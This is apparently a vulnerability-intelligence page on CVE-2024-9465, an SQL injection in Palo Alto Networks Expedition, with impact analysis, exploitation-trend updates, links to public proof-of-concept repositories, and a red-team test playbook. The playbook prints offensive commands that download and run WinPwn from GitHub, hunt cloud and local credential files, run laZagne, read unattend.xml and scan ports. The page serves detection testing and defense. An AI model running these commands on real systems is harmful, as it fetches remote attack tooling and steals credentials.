CVE-2024-9465
Overview
This vulnerability is an SQL injection affecting the Palo Alto Networks Expedition web application. The root cause is insufficient input validation on a specific POST endpoint, allowing crafted SQL queries to be injected and executed within the backend database. The affected component is the configuration parser interface handling Checkpoint configurations.
Vulnerability Description
An SQL injection vulnerability in Palo Alto Networks Expedition allows an unauthenticated attacker to reveal Expedition database contents, such as password hashes, usernames, device configurations, and device API keys. With this, attackers can also create and read arbitrary files on the Expedition system.
Impact
An unauthenticated attacker can exploit this vulnerability to extract sensitive database contents including password hashes, usernames, device configurations, and API keys. Additionally, the attacker can create and read arbitrary files on the affected system, potentially leading to full system compromise. No authentication or user interaction is required, enabling remote data exfiltration and persistence within the environment, which can severely impact confidentiality and operational integrity.
Solution
Palo Alto Networks has released a security advisory PAN-SA-2024-0010 addressing this issue in Expedition. Users should apply the vendor-provided patches as detailed in the advisory available at https://security.paloaltonetworks.com/PAN-SA-2024-0010. No alternative mitigations or workarounds are specified; timely patching is recommended to remediate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The SQL injection vulnerability present in Palo Alto Networks Expedition represents a significant security flaw that allows unauthorized access to sensitive database information. This type of vulnerability occurs when an application improperly handles user input, allowing an attacker to manipulate SQL queries executed by the database. In this case, the flaw enables unauthenticated users to execute arbitrary SQL commands, leading to the exposure of critical data such as password hashes, usernames, device configurations, and API keys. The ability to access this information not only compromises the confidentiality of the data but also raises concerns about the integrity and availability of the Expedition system itself.
Attack vectors for exploiting this vulnerability are varied and can be executed with minimal technical skill. An attacker could leverage common web-based tools or scripts to send specially crafted requests to the Expedition application, targeting input fields that interact with the database. By injecting malicious SQL code, the attacker can retrieve sensitive information or even manipulate the database to create or read arbitrary files on the system. This capability allows for further exploitation, such as escalating privileges or pivoting to other systems within the network. Given the ease of exploitation, this vulnerability poses a serious threat, especially in environments where Expedition is integrated with other critical infrastructure components.
The real-world impact of this vulnerability is profound, particularly for organizations relying on Palo Alto Networks Expedition for network security management. The exposure of sensitive data can lead to unauthorized access to network devices, allowing attackers to modify configurations or extract further sensitive information. This breach not only jeopardizes the security posture of the organization but can also lead to compliance violations, financial losses, and reputational damage. The potential for attackers to create and read arbitrary files further exacerbates the risk, as it opens the door for deploying malware or exfiltrating additional data. Organizations must recognize that the implications of such a vulnerability extend beyond immediate data loss; they can result in long-term damage to customer trust and business operations.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular security assessments, including penetration testing and vulnerability scanning, should be conducted to identify and remediate such weaknesses proactively. Additionally, employing web application firewalls (WAFs) can help filter and monitor HTTP requests, blocking malicious input before it reaches the application. It is also crucial to ensure that input validation and parameterized queries are utilized in application development to prevent SQL injection vulnerabilities from being introduced in the first place. Furthermore, organizations should maintain an up-to-date inventory of their software and promptly apply security patches released by vendors to address known vulnerabilities.
In conclusion, the SQL injection vulnerability in Palo Alto Networks Expedition exemplifies the critical need for robust security practices in application development and deployment. The potential for unauthorized access to sensitive data and system manipulation underscores the importance of proactive security measures. By understanding the nature of the vulnerability, recognizing the associated risks, and implementing effective detection and mitigation strategies, organizations can significantly reduce their exposure to such threats and enhance their overall cybersecurity posture.
CSURFACE threat intelligence has detected a marked escalation in exploitation activity targeting CVE-2024-9465, coinciding with the recent addition of this vulnerability to the Known Exploited Vulnerabilities (KEV) catalog. This inclusion has amplified attacker interest, as evidenced by the emergence of new proof-of-concept exploits circulating publicly, which lower the barrier for adversaries to weaponize the SQL injection flaw. Our telemetry indicates a sharp uptick in attempts to leverage this vulnerability, signaling increased operationalization within threat actor toolsets. Although the EPSS score remains high and stable, the slight upward adjustment reflects growing confidence in exploit likelihood. This evolution elevates the risk posture for organizations running Palo Alto Networks Expedition, as the vulnerability now enjoys broader exploitation avenues and heightened attacker focus. Consequently, defenders should recognize that the threat landscape has intensified, with adversaries more capable and motivated to extract sensitive data and manipulate system files through this critical flaw.
Update 2 — June 20, 2026
CSURFACE threat intelligence has detected a marked escalation in activity targeting CVE-2024-9465, with telemetry indicating a doubling in exploitation attempts over a short period. This surge is accompanied by a further increase in the Exploit Prediction Scoring System (EPSS) score, now approaching certainty of exploitation. Concurrently, new proof-of-concept exploits have emerged, broadening the toolkit available to adversaries and lowering the technical barrier for exploitation. These developments signal a growing operational focus on this critical SQL injection vulnerability within Palo Alto Networks Expedition, heightening the risk of unauthorized data disclosure and system compromise. The evolving threat landscape underscores an elevated threat level, as attackers demonstrate increased capability and intent to leverage this flaw for reconnaissance and lateral movement. Defenders should recognize that the window for effective risk management is narrowing as exploitation becomes more prevalent and accessible.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Paloaltonetworks | Expedition | All |
cpe:2.3:a:paloaltonetworks:expedition:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
horizon3ai/CVE-2024-9465
Proof of Concept Exploit for CVE-2024-9465
|
horizon3ai | 31 | 4 | 2024-10-09 | View |
|
PoC
|
- | 0 | 0 | - | View |
|
Qlng/CVE-2024-9465
Checkpoint SQL Injection via Time-Based Attack (CVE-2024-9465)
|
Qlng | 0 | 0 | 2024-10-11 | View |
Threat Feed
6 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-9465 |
| security.paloaltonetworks.com |
GitHub CVE
vendor-advisory
|
https://security.paloaltonetworks.com/PAN-SA-2024-0010 |
| horizon3.ai |
GitHub CVE
exploit
|
https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-9465 |